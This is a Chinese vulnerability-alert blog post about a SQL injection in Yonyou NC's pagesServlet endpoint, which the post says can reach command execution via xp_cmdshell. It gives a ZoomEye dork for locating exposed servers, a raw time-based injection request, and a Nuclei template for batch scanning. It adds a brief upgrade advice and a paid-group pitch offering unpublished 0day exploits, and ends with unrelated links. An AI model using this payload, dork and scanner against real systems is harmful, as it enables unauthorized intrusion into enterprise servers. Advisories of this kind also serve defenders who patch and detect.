SQL注入致RCE漏洞|漏洞预警

0x01 产品简介

       用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。这一系列产品基于全球最新的互联网技术、云计算技术和移动应用技术,旨在帮助企业创新管理模式、引领商业变革。这里利用 ZoomEye搜索引擎直接输入关键字即可,影响资产7000+。

 

 

声明

请自行搭建环境进行漏洞测试,该公众号或作者星球分享的工具、项目、漏洞仅供安全研究与学习之用请勿用于非法行为,如用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。

TIPS: 末尾领取资料及福利-批量检测脚本在末尾(新增语雀漏洞库)

0x02 漏洞描述

        攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令,从而控制服务器。经过分析与研判,该漏洞利用难度低,建议尽快修复。

0x03 ZoomEye语法

app:"用友 UFIDA NC"

 

0x04 漏洞复现

POC

GET /portal/pt/servlet/pagesServlet/doPost?pageId=login&pk_group=1'waitfor+delay+'0:0:5'-- HTTP/1.1Host: Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: close

 

 

Nuclei批量检测POC(请自行搭建环境检测)
id: yongyou-nc-pagesServlet-sqli
info:  name: yongyou-nc-pagesServlet-sqli  author: HackTwo  severity: high  description: other  http:  - raw:      - |        GET /portal/pt/servlet/pagesServlet/doPost?pageId=login&pk_group=1'waitfor+delay+'0:0:5'-- HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Connection: close

    matchers:      - type: dsl        dsl:          - "status_code==200 && duration>=5"

 

0x05 修复建议

官方已经推出新版本,建议升级到最新版

0x06 知识星球-V1.3

       学习更多挖洞技巧可加入内部星球可获得内部工具和享受内部资源,包含网上一些付费漏洞扫描工具Fofa高级VIP等。详情直接点击下方链接进入了解,需要加入的直接点击下方链接了解即可,觉得价格高的师傅可后台回复” 星球 “有优惠券名额有限先到先得!内部包含网上需付费未公开的0day/1day漏洞库,后续资源会更丰富在加入还是低价!

 

原创文章,作者:guozi,如若转载,请注明出处:https://www.sudun.com/ask/88711.html

(0)
guozi的头像guozi
上一篇 2024年6月4日 上午9:26
下一篇 2024年6月4日 上午9:30

相关推荐

  • 杭州seo公司哪家好?

    你是否想要让自己的网站在搜索引擎中排名靠前,吸引更多的流量和客户?那么你一定不能错过搜索引擎优化这一项重要的技术。但是在众多的杭州seo公司中,如何选择一家好的公司成为了令人头疼的…

    行业资讯 2024年4月6日
    0
  • 手机被恶意网站攻击怎么弄出来,手机突然显示被恶意网站攻击

    2.下载应用程序时要小心 从App Store 下载应用程序时,请注意开发者信息、评论和评级。选择知名且评价良好的应用程序,避免下载来源不明或评价不佳的应用程序。同时,您还应该注意…

    行业资讯 2024年5月15日
    0
  • 建网站多少钱

    想要建立一个网站,是每个企业和个人都会面临的问题。然而,随着互联网的发展,传统的服务器已经无法满足用户的需求。这时候,云服务器就成为了一个备受关注的话题。那么,什么是云服务器?它有…

    行业资讯 2024年3月24日
    0
  • 租借gpu服务器

    今天,我们要谈论的是一个备受瞩目的话题——租借GPU服务器。或许你已经听说过GPU服务器,但你知道它是什么吗?它有哪些优势和用途?租借GPU服务器的价格标准又是怎样的?如果你还有其…

    行业资讯 2024年4月4日
    0

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注